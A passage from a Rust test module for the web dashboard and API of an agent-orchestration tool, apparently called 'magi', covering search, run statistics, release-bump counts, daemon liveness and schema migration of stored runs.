18676        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18677        assert_eq!(v["hits"][0]["field"], "title");
18678        assert_eq!(v["unreadable"], 1, "{v}");
18679        let marked: Vec<&str> = v["hits"][0]["snippet"]
18680            .as_array()
18681            .unwrap()
18682            .iter()
18683            .filter(|p| p["hit"] == true)
18684            .map(|p| p["text"].as_str().unwrap())
18685            .collect();
18686        assert_eq!(marked, ["Pangolin"]);
18687
18688        // An agent turn, in a closed conversation.
18689        let v = search("zebra").await;
18690        assert_eq!(v["total"], 1, "{v}");
18691        assert_eq!(v["hits"][0]["field"], "agent");
18692        // Words may sit in different turns; all must be present.
18693        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18694        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18695        // Bookkeeping is not searched.
18696        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18697            assert_eq!(search(q).await["total"], 0, "{q}");
18698        }
18699        // The first line only is the title; the second line is still a turn.
18700        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18701        // Open conversations are listed before closed ones.
18702        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18703
18704        let v = f.get("/api/search?scope=nope&q=a").await;
18705        assert_eq!(v.status, 400);
18706        assert!(
18707            v.body.contains("scope must be runs, tasks or chats"),
18708            "{}",
18709            v.body
18710        );
18711    }
18712
18713    #[test]
18714    fn a_question_card_links_a_task_id_to_the_task_page() {
18715        let start = APP_JS
18716            .find("function updateAskCard(")
18717            .expect("updateAskCard exists");
18718        let body = &APP_JS[start..];
18719        let body = &body[..body.find("\n}\n").expect("function end")];
18720        assert!(body.contains("question.run_is_task"));
18721        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18722        assert!(body.contains("`#/runs/${question.run}`"));
18723        assert!(body.contains("\"task\" : \"run\""));
18724    }
18725
18726    #[test]
18727    fn plain_text_message_surfaces_go_through_linkify() {
18728        assert!(APP_JS.contains("function linkify("));
18729        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18730        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18731        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18732        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18733        assert!(!APP_JS.contains("innerHTML = text"));
18734    }
18735
18736    #[test]
18737    fn implementation_rate_views_keep_independent_samples() {
18738        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18739            let a = stats::AgentStats {
18740                competitive_entered: competitive_n,
18741                competitive_wins: usize::from(competitive_n > 0),
18742                solo_entered: solo_n,
18743                solo_adopted: 2 * usize::from(solo_n > 0),
18744                ..Default::default()
18745            };
18746            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18747            for (key, n, numerator) in [
18748                ("competitive_win_rate", competitive_n, a.competitive_wins),
18749                ("solo_adoption_rate", solo_n, a.solo_adopted),
18750            ] {
18751                if n == 0 {
18752                    assert!(v[key].is_null());
18753                } else {
18754                    assert_eq!(v[key]["denominator"], n);
18755                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18756                }
18757            }
18758        }
18759        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18760        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18761        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18762        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18763    }
18764
18765    #[test]
18766    fn stats_bars_share_one_id_keyed_plan() {
18767        let start = APP_JS
18768            .find("function statsBarRows(")
18769            .expect("statsBarRows exists");
18770        let body = &APP_JS[start..];
18771        let body = &body[..body.find("\n}\n").expect("function end")];
18772        assert!(body.contains("statsBarPlan(rows)"));
18773        assert!(body.contains("statsAgentTone(row.agent)"));
18774        assert!(!body.contains("candTone(i)"));
18775        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18776        for root in [
18777            "stats-agents-bars",
18778            "stats-solo-bars",
18779            "stats-reviewers-bars",
18780        ] {
18781            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18782        }
18783    }
18784
18785    #[test]
18786    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18787        let start = APP_JS
18788            .find("function renderStatsReviewerScatter(")
18789            .expect("renderStatsReviewerScatter exists");
18790        let body = &APP_JS[start..];
18791        let body = &body[..body.find("\n}\n").expect("function end")];
18792        assert!(body.contains("statsScatterPlan(reviewers)"));
18793        assert!(body.contains("statsAgentTone(d.agent)"));
18794        assert!(APP_JS.contains("function statsScatterPlan("));
18795        assert!(
18796            APP_JS.contains("d.submitted < STATS_LOW_N")
18797                || APP_JS.contains("r.submitted < STATS_LOW_N")
18798        );
18799        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18800        assert!(APP_CSS.contains(".precision-scatter"));
18801    }
18802
18803    #[test]
18804    fn advisor_reflection_is_drawn_as_stacked_segments() {
18805        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18806        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18807        let html = include_str!("../assets/ui/index.html");
18808        assert!(html.contains("Approximate"));
18809        for label in ["reflected strongly", "faint", "no proposal"] {
18810            assert!(html.contains(label));
18811        }
18812        let css = include_str!("../assets/ui/app.css");
18813        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18814            assert!(css.contains(&format!(".{c} {{")));
18815        }
18816    }
18817
18818    #[test]
18819    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18820        assert!(APP_JS.contains("function statsDailyPlan("));
18821        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18822        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18823    }
18824
18825    #[test]
18826    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18827        let start = APP_JS
18828            .find("function scheduleSearch(")
18829            .expect("scheduleSearch exists");
18830        let body = &APP_JS[start..];
18831        let body = &body[..body.find("\n}\n").expect("function end")];
18832        assert!(body.contains("s.seq += 1"));
18833    }
18834
18835    /// The dashboard reads every run's state itself rather than trusting a
18836    /// separately-maintained count, so an unreadable run must be counted the
18837    /// same way `/api/health` counts it - never silently dropped the way the
18838    /// CLI's own `stats::load_all` drops it.
18839    #[tokio::test]
18840    async fn stats_runs_unreadable_matches_health() {
18841        let f = Fixture::start().await;
18842        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18843        let broken = f.runs().join("20260902-140502-bad");
18844        std::fs::create_dir_all(&broken).expect("run dir");
18845        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18846
18847        let stats = f.get("/api/stats").await;
18848        let health = f.get("/api/health").await;
18849
18850        assert_eq!(stats.status, 200);
18851        assert_eq!(stats.json()["totals"]["runs"], 1);
18852        assert_eq!(stats.json()["runs_unreadable"], 1);
18853        assert_eq!(
18854            stats.json()["runs_unreadable"],
18855            health.json()["runs_unreadable"],
18856            "the dashboard and /api/health must never disagree about how many \
18857             runs could not be read"
18858        );
18859    }
18860
18861    #[tokio::test]
18862    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18863        let f = Fixture::start().await;
18864        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18865        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18866        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18867
18868        let totals = &f.get("/api/stats").await.json()["totals"];
18869        assert_eq!(totals["runs"], 3);
18870        assert_eq!(totals["merged"], 1);
18871        assert_eq!(totals["stalled"], 1);
18872        assert_eq!(totals["in_progress"], 1);
18873        // A stalled run must never read as blocked/merged/ready - it is its
18874        // own bucket, not folded into a "decided" one.
18875        assert_eq!(totals["blocked"], 0);
18876        assert_eq!(totals["ready"], 0);
18877    }
18878
18879    #[tokio::test]
18880    async fn stats_advisors_report_proposals_and_reflection() {
18881        use crate::advise::{Advice, AdvisorRecord, Reflection};
18882        use crate::verdict::Proposal;
18883
18884        let f = Fixture::start().await;
18885        let mut state = RunState::new(
18886            PathBuf::from("/repo/magi"),
18887            "main".to_owned(),
18888            "0123456789abcdef".to_owned(),
18889            "task".to_owned(),
18890            Config::default(),
18891        );
18892        state.id = "20260902-140501-a".to_owned();
18893        state.status = RunStatus::Merged;
18894        state.advice = Some(Advice {
18895            records: vec![
18896                AdvisorRecord {
18897                    seat: "advisor-1".to_owned(),
18898                    agent: "alpha".to_owned(),
18899                    proposal: Some(Proposal {
18900                        approach: "do it".to_owned(),
18901                        key_tradeoff: "speed over memory".to_owned(),
18902                        risks: Vec::new(),
18903                        touches: Vec::new(),
18904                        why_not_naive: "breaks under load".to_owned(),
18905                    }),
18906                    error: None,
18907                    duration_ms: 0,
18908                    reflection: Reflection::Strong,
18909                },
18910                AdvisorRecord {
18911                    seat: "advisor-2".to_owned(),
18912                    agent: "alpha".to_owned(),
18913                    proposal: None,
18914                    error: Some("timed out".to_owned()),
18915                    duration_ms: 0,
18916                    reflection: Reflection::Absent,
18917                },
18918            ],
18919            synthesis: Some("blended brief".to_owned()),
18920        });
18921        let dir = f.runs().join(&state.id);
18922        std::fs::create_dir_all(&dir).expect("run dir");
18923        std::fs::write(
18924            dir.join("run.json"),
18925            serde_json::to_string_pretty(&state).expect("serialize run"),
18926        )
18927        .expect("write run.json");
18928
18929        // `alpha` is in no roster here; this test is about the rates.
18930        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18931        let alpha = advisors
18932            .as_array()
18933            .expect("an array")
18934            .iter()
18935            .find(|a| a["agent"] == "alpha")
18936            .expect("alpha row");
18937        assert_eq!(alpha["seated"], 2);
18938        assert_eq!(alpha["proposed"], 1);
18939        assert_eq!(alpha["absent"], 1);
18940        assert_eq!(alpha["strong"], 1);
18941        assert_eq!(alpha["faint"], 0);
18942        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18943    }
18944
18945    #[tokio::test]
18946    async fn stats_hides_agents_outside_the_roster_unless_all() {
18947        use crate::run::Candidate;
18948        let repo = TempDir::new().expect("repo dir");
18949        std::fs::write(
18950            repo.path().join("magi.toml"),
18951            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18952        )
18953        .expect("magi.toml");
18954        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18955        let mut state = RunState::new(
18956            PathBuf::from("/repo/magi"),
18957            "main".to_owned(),
18958            "0123456789abcdef".to_owned(),
18959            "task".to_owned(),
18960            Config::default(),
18961        );
18962        state.id = "20260902-140501-a".to_owned();
18963        state.status = RunStatus::Merged;
18964        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18965            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18966                "index": 0, "label": label.to_string(), "agent": agent,
18967                "branch": "b", "worktree": "/w",
18968            }))
18969            .expect("candidate");
18970            c.label = label;
18971            state.candidates.push(c);
18972        }
18973        let dir = f.runs().join(&state.id);
18974        std::fs::create_dir_all(&dir).expect("run dir");
18975        std::fs::write(
18976            dir.join("run.json"),
18977            serde_json::to_string_pretty(&state).expect("serialize run"),
18978        )
18979        .expect("write run.json");
18980
18981        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18982            v["agents"]
18983                .as_array()
18984                .expect("array")
18985                .iter()
18986                .map(|a| a["agent"].as_str().unwrap().to_owned())
18987                .collect()
18988        };
18989        let hidden = f.get("/api/stats").await.json();
18990        assert_eq!(agents_of(&hidden), ["keep"]);
18991        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18992        assert_eq!(hidden["totals"]["runs"], 1);
18993
18994        let all = f.get("/api/stats?all=true").await.json();
18995        assert_eq!(agents_of(&all).len(), 2);
18996        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18997        // Verify competitive and solo keys exist on agent entries
18998        let keep_agent = all["agents"]
18999            .as_array()
19000            .unwrap()
19001            .iter()
19002            .find(|a| a["agent"] == "keep")
19003            .unwrap();
19004        assert_eq!(keep_agent["competitive_entered"], 1);
19005        assert_eq!(keep_agent["competitive_wins"], 0);
19006        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19007        assert_eq!(keep_agent["solo_entered"], 0);
19008        assert_eq!(keep_agent["solo_adopted"], 0);
19009        assert!(keep_agent["solo_adoption_rate"].is_null());
19010    }
19011
19012    #[tokio::test]
19013    async fn stats_release_bumps_split_clean_from_attention() {
19014        use crate::run::ReleaseBump;
19015
19016        let f = Fixture::start().await;
19017
19018        let mut clean = RunState::new(
19019            PathBuf::from("/repo/magi"),
19020            "main".to_owned(),
19021            "0123456789abcdef".to_owned(),
19022            "task".to_owned(),
19023            Config::default(),
19024        );
19025        clean.id = "20260902-140501-a".to_owned();
19026        clean.status = RunStatus::Merged;
19027        clean.release_bump = Some(ReleaseBump {
19028            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19029            version: Some("1.0.0".to_owned()),
19030            automerge_enabled: true,
19031            merged_directly: false,
19032            local: false,
19033            release: None,
19034            problem: None,
19035            action_required: None,
19036            skipped: None,
19037        });
19038
19039        let mut blocked = RunState::new(
19040            PathBuf::from("/repo/magi"),
19041            "main".to_owned(),
19042            "0123456789abcdef".to_owned(),
19043            "task".to_owned(),
19044            Config::default(),
19045        );
19046        blocked.id = "20260902-140502-b".to_owned();
19047        blocked.status = RunStatus::Merged;
19048        blocked.release_bump = Some(ReleaseBump {
19049            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19050            version: Some("1.0.1".to_owned()),
19051            automerge_enabled: false,
19052            merged_directly: false,
19053            local: false,
19054            release: None,
19055            problem: Some("checks red".to_owned()),
19056            action_required: Some("look at the PR".to_owned()),
19057            skipped: None,
19058        });
19059
19060        for state in [&clean, &blocked] {
19061            let dir = f.runs().join(&state.id);
19062            std::fs::create_dir_all(&dir).expect("run dir");
19063            std::fs::write(
19064                dir.join("run.json"),
19065                serde_json::to_string_pretty(state).expect("serialize run"),
19066            )
19067            .expect("write run.json");
19068        }
19069
19070        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19071        assert_eq!(bumps["merged"], 2);
19072        assert_eq!(bumps["recorded"], 2);
19073        assert_eq!(bumps["pr_opened"], 2);
19074        assert_eq!(bumps["automerge_enabled"], 1);
19075        assert_eq!(bumps["needs_attention"], 1);
19076        assert_eq!(bumps["clean"], 1);
19077        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19078        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19079    }
19080
19081    #[tokio::test]
19082    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19083        let f = Fixture::start().await;
19084        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19085
19086        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19087        assert_eq!(bumps["merged"], 1);
19088        assert_eq!(bumps["recorded"], 0);
19089        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19090        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19091        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19092        // `pr_opened` and `recorded` are both zero here, so these rates have
19093        // no denominator to compute from and must be null.
19094        assert_eq!(bumps["automerge_rate"], Value::Null);
19095        assert_eq!(bumps["attention_rate"], Value::Null);
19096    }
19097
19098    #[tokio::test]
19099    async fn stats_queue_counts_come_from_the_live_queue() {
19100        let f = Fixture::start().await;
19101        let q = f.queue();
19102        let mut queued = Task::new(
19103            "queued task".to_owned(),
19104            "do it".to_owned(),
19105            PathBuf::from("/repo"),
19106            Source::Human,
19107        );
19108        q.put(&mut queued).expect("put queued");
19109        let mut held = Task::new(
19110            "held task".to_owned(),
19111            "do it later".to_owned(),
19112            PathBuf::from("/repo"),
19113            Source::Human,
19114        );
19115        held.hold_machine(Some("out of attempts".to_owned()));
19116        q.put(&mut held).expect("put held");
19117
19118        let queue = f.get("/api/stats").await.json()["queue"].clone();
19119        assert_eq!(queue["queued"], 1);
19120        assert_eq!(queue["held"], 1);
19121        assert_eq!(queue["running"], 0);
19122        assert_eq!(queue["done"], 0);
19123        assert_eq!(queue["failed"], 0);
19124        assert_eq!(queue["blocked"], 0);
19125    }
19126
19127    #[tokio::test]
19128    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19129        let f = Fixture::start().await;
19130        let stats = f.get("/api/stats").await;
19131        assert_eq!(stats.status, 200);
19132        assert_eq!(stats.json()["totals"]["runs"], 0);
19133        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19134        assert_eq!(stats.json()["runs_unreadable"], 0);
19135        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19136        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19137        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19138        assert_eq!(stats.json()["repo"], Value::Null);
19139    }
19140
19141    #[tokio::test]
19142    async fn stats_lists_every_repository_with_runs_recorded() {
19143        let f = Fixture::start().await;
19144        write_run_repo(
19145            &f.runs(),
19146            "20260902-140501-a",
19147            RunStatus::Merged,
19148            "/repos/a",
19149        );
19150        write_run_repo(
19151            &f.runs(),
19152            "20260902-140502-b",
19153            RunStatus::Merged,
19154            "/repos/a",
19155        );
19156        write_run_repo(
19157            &f.runs(),
19158            "20260902-140503-c",
19159            RunStatus::Blocked,
19160            "/repos/b",
19161        );
19162
19163        let stats = f.get("/api/stats").await;
19164        assert_eq!(stats.status, 200);
19165        // Unfiltered - the aggregate across both repositories.
19166        assert_eq!(stats.json()["totals"]["runs"], 3);
19167        assert_eq!(stats.json()["repo"], Value::Null);
19168
19169        let repos = stats.json()["repos"].clone();
19170        let repos = repos.as_array().unwrap();
19171        assert_eq!(repos.len(), 2);
19172        // Busiest (2 runs) first.
19173        assert_eq!(repos[0]["repo"], "/repos/a");
19174        assert_eq!(repos[0]["name"], "a");
19175        assert_eq!(repos[0]["runs"], 2);
19176        assert_eq!(repos[1]["repo"], "/repos/b");
19177        assert_eq!(repos[1]["runs"], 1);
19178    }
19179
19180    #[tokio::test]
19181    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19182        let f = Fixture::start().await;
19183        write_run_repo(
19184            &f.runs(),
19185            "20260902-140501-a",
19186            RunStatus::Merged,
19187            "/repos/a",
19188        );
19189        write_run_repo(
19190            &f.runs(),
19191            "20260902-140502-b",
19192            RunStatus::Blocked,
19193            "/repos/b",
19194        );
19195
19196        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19197        assert_eq!(stats.status, 200);
19198        assert_eq!(stats.json()["totals"]["runs"], 1);
19199        assert_eq!(stats.json()["totals"]["merged"], 1);
19200        assert_eq!(stats.json()["repo"], "/repos/a");
19201        // The repository list itself is unaffected by the filter - it is
19202        // what a client switches repositories from.
19203        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19204        // runs_unreadable is a whole-workload count, never scoped to the
19205        // selected repository - see StatsView::runs_unreadable's own doc.
19206        assert_eq!(stats.json()["runs_unreadable"], 0);
19207    }
19208
19209    #[tokio::test]
19210    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19211        let f = Fixture::start().await;
19212        write_run_repo(
19213            &f.runs(),
19214            "20260902-140501-a",
19215            RunStatus::Merged,
19216            "/repos/a",
19217        );
19218        write_run_repo(
19219            &f.runs(),
19220            "20260902-140502-b",
19221            RunStatus::Merged,
19222            "/repos/b",
19223        );
19224
19225        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19226            let json = f.get(uri).await.json();
19227            let daily = json["daily"].as_array().expect("daily is an array");
19228            assert_eq!(daily.len(), 30);
19229            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19230            let mut sorted = dates.clone();
19231            sorted.sort();
19232            assert_eq!(dates, sorted);
19233            for d in daily {
19234                assert_eq!(
19235                    d["merged"].as_u64().unwrap()
19236                        + d["ready"].as_u64().unwrap()
19237                        + d["other"].as_u64().unwrap(),
19238                    d["runs"].as_u64().unwrap()
19239                );
19240            }
19241            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19242        }
19243    }
19244
19245    #[tokio::test]
19246    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19247        let f = Fixture::start().await;
19248        write_run_repo(
19249            &f.runs(),
19250            "20260902-140501-a",
19251            RunStatus::Merged,
19252            "/repos/a",
19253        );
19254
19255        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19256        assert_eq!(stats.status, 404);
19257    }
19258
19259    #[tokio::test]
19260    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19261        let f = Fixture::start().await;
19262        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19263
19264        let summary = f.get("/api/runs").await.json();
19265        let row = &summary[0];
19266        assert_eq!(row["short"], "a1b2");
19267        assert_eq!(row["status"], "ready");
19268        assert_eq!(row["done"], true);
19269        assert_eq!(row["title"], "Add a web UI");
19270        assert_eq!(row["repo_name"], "magi");
19271        assert_eq!(row["judges"], 3);
19272        assert_eq!(row["winner"], Value::Null);
19273        assert_eq!(row["reviews"], 0);
19274
19275        // The short id resolves, and the detail route is the state itself, not
19276        // a projection of it: the UI reads fields the summary does not carry.
19277        let detail = f.get("/api/runs/a1b2").await;
19278        assert_eq!(detail.status, 200);
19279        assert_eq!(detail.json()["base_branch"], "main");
19280        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19281    }
19282
19283    /// `status: "ready"` alone cannot tell a run still headed for a landing
19284    /// (a PR closed without merging, say) apart from one `[merge] mode =
19285    /// "none"` left unmerged for good — the confusion the operator flagged
19286    /// after the CLI report already grew a `not landed — nothing to do by
19287    /// design` line for exactly this case (`report.rs`). Both the list route
19288    /// and the detail route must carry a flag the phone can key on instead of
19289    /// re-deriving it from `status` + `merge.mode` itself.
19290    #[tokio::test]
19291    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19292        let f = Fixture::start().await;
19293
19294        let mut none_run = RunState::new(
19295            PathBuf::from("/repo/magi"),
19296            "main".to_owned(),
19297            "0123456789abcdef".to_owned(),
19298            "Add a web UI".to_owned(),
19299            Config::default(),
19300        );
19301        none_run.id = "20260902-140503-none".to_owned();
19302        none_run.status = RunStatus::Ready;
19303        none_run.merge = Some(crate::run::MergeOutcome {
19304            mode: crate::config::MergeMode::None,
19305            ok: true,
19306            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19307            empty: false,
19308        });
19309        write_state(&f.runs(), &none_run);
19310
19311        let mut pr_run = RunState::new(
19312            PathBuf::from("/repo/magi"),
19313            "main".to_owned(),
19314            "0123456789abcdef".to_owned(),
19315            "Add a web UI".to_owned(),
19316            Config::default(),
19317        );
19318        pr_run.id = "20260902-140504-prcl".to_owned();
19319        pr_run.status = RunStatus::Ready;
19320        pr_run.merge = Some(crate::run::MergeOutcome {
19321            mode: crate::config::MergeMode::Pr,
19322            ok: false,
19323            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19324            empty: false,
19325        });
19326        write_state(&f.runs(), &pr_run);
19327
19328        let summary = f.get("/api/runs").await.json();
19329        let rows: std::collections::HashMap<&str, &Value> = summary
19330            .as_array()
19331            .expect("an array")
19332            .iter()
19333            .map(|r| (r["id"].as_str().expect("an id"), r))
19334            .collect();
19335        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19336        assert_eq!(
19337            rows[none_run.id.as_str()]["unmerged_by_design"],
19338            true,
19339            "a mode-none Ready must be flagged in the list"
19340        );
19341        assert_eq!(
19342            rows[pr_run.id.as_str()]["unmerged_by_design"],
19343            false,
19344            "a Ready reached by a closed pull request is a different case"
19345        );
19346
19347        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19348        assert_eq!(none_detail["status"], "ready");
19349        assert_eq!(none_detail["unmerged_by_design"], true);
19350
19351        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19352        assert_eq!(pr_detail["unmerged_by_design"], false);
19353    }
19354
19355    /// `RunState::active` is only ever cleared by whoever populated it, so the
19356    /// detail route also has to say whether a daemon is actually still
19357    /// driving this run right now — otherwise a seat from a killed process's
19358    /// last wave would read as live forever.
19359    #[tokio::test]
19360    async fn run_core_survives_unavailable_related_stores() {
19361        let home = TempDir::new().unwrap();
19362        let ui = delta_test_ui(home.path());
19363        let state = RunState::new(
19364            PathBuf::from("/repo/magi"),
19365            "main".into(),
19366            "0123456789abcdef".into(),
19367            "Useful core instructions".into(),
19368            Config::default(),
19369        );
19370        let dir = ui.runs.join(&state.id);
19371        std::fs::create_dir_all(&dir).unwrap();
19372        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19373        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19374        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19375        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19376            .await
19377            .unwrap()
19378            .0;
19379        assert_eq!(core.state.instruction, state.instruction);
19380        assert_eq!(core.state.updated_at, state.updated_at);
19381        assert!(core.task.is_none());
19382        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19383    }
19384
19385    #[tokio::test]
19386    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19387        let f = Fixture::start().await;
19388        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19389        // half of this test can claim the daemon is working on it without a
19390        // second helper.
19391        let id = "20260902-140502-bbbb";
19392        let mut state = RunState::new(
19393            PathBuf::from("/repo/magi"),
19394            "main".to_owned(),
19395            "0123456789abcdef".to_owned(),
19396            "Add a web UI".to_owned(),
19397            Config::default(),
19398        );
19399        state.id = id.to_owned();
19400        state.status = RunStatus::Judging;
19401        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19402        let dir = f.runs().join(id);
19403        std::fs::create_dir_all(&dir).expect("run dir");
19404        std::fs::write(
19405            dir.join("run.json"),
19406            serde_json::to_string_pretty(&state).expect("serialize run"),
19407        )
19408        .expect("write run.json");
19409
19410        // No daemon.json at all, and no `driver_pid` recorded either (this
19411        // state was written directly, never through `execute()`): there is
19412        // nothing to confirm either way, so the route must say `"unknown"` —
19413        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19414        // run` used to get from this route before `driver_pid` existed.
19415        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19416        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19417        assert_eq!(cold["live"], "unknown", "{cold}");
19418
19419        // A fresh heartbeat naming exactly this run: the same entry now reads
19420        // as confirmed, not merely recorded.
19421        write_daemon(f.home.path(), Timestamp::now());
19422        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19423        assert_eq!(warm["live"], "live", "{warm}");
19424    }
19425
19426    #[test]
19427    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19428        let home = tempfile::tempdir().expect("temp home");
19429        let runs = home.path().join("runs");
19430        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19431            let mut state = RunState::new(
19432                PathBuf::from("/repo/magi"),
19433                "main".to_owned(),
19434                "0123456789abcdef".to_owned(),
19435                "Generated review context, not authored task criteria".to_owned(),
19436                Config::default(),
19437            );
19438            state.origin = origin;
19439            state.status = RunStatus::Blocked;
19440            // Earlier migrations must not infer these facts again.
19441            state.driver_exited = false;
19442            state.gate_ran = true;
19443            let expected = serde_json::to_value(&state).expect("serialize current state");
19444            let mut legacy = expected.clone();
19445            legacy["schema"] = serde_json::json!(13);
19446            legacy.as_object_mut().unwrap().remove("task_instruction");
19447            let dir = runs.join(&state.id);
19448            std::fs::create_dir_all(&dir).expect("run dir");
19449            let path = dir.join("run.json");
19450            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19451            std::fs::write(&path, &body).expect("write legacy run");
19452
19453            for loaded in [
19454                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19455                read_run(&runs, &state.id).expect("web migration"),
19456            ] {
19457                assert_eq!(loaded.schema, crate::run::SCHEMA);
19458                assert!(loaded.task_instruction.is_none());
19459                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19460            }
19461            assert_eq!(runs_unreadable(&runs), 0);
19462            assert_eq!(std::fs::read(&path).unwrap(), body);
19463        }
19464    }
19465
19466    /// Where a run came from is shown, and a run written before origins were
19467    /// recorded (schema 12, no `origin` key) stays readable and says so.
19468    #[tokio::test]
19469    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19470        let f = Fixture::start().await;
19471        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19472            let mut state = RunState::new(
19473                PathBuf::from("/repo/magi"),
19474                "main".to_owned(),
19475                "0123456789abcdef".to_owned(),
19476                "Add a web UI".to_owned(),
19477                Config::default(),
19478            );
19479            state.id = id.to_owned();
19480            state.origin = origin;
19481            let mut value = serde_json::to_value(&state).expect("serialize run");
19482            if let Some(schema) = schema {
19483                value["schema"] = serde_json::json!(schema);
19484                value.as_object_mut().unwrap().remove("origin");
19485            }
19486            let dir = f.runs().join(id);
19487            std::fs::create_dir_all(&dir).expect("run dir");
19488            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19489        };
19490        write(
19491            "20260930-092817-ec34",
19492            Some(crate::run::Origin::from_agent_env(
19493                Some(("4a7b".to_owned(), "chat".to_owned())),
19494                None,
19495            )),
19496            None,
19497        );
19498        write("20260930-092817-0ld1", None, Some(12));
19499
19500        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19501        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19502        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19503
19504        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19505        assert_eq!(
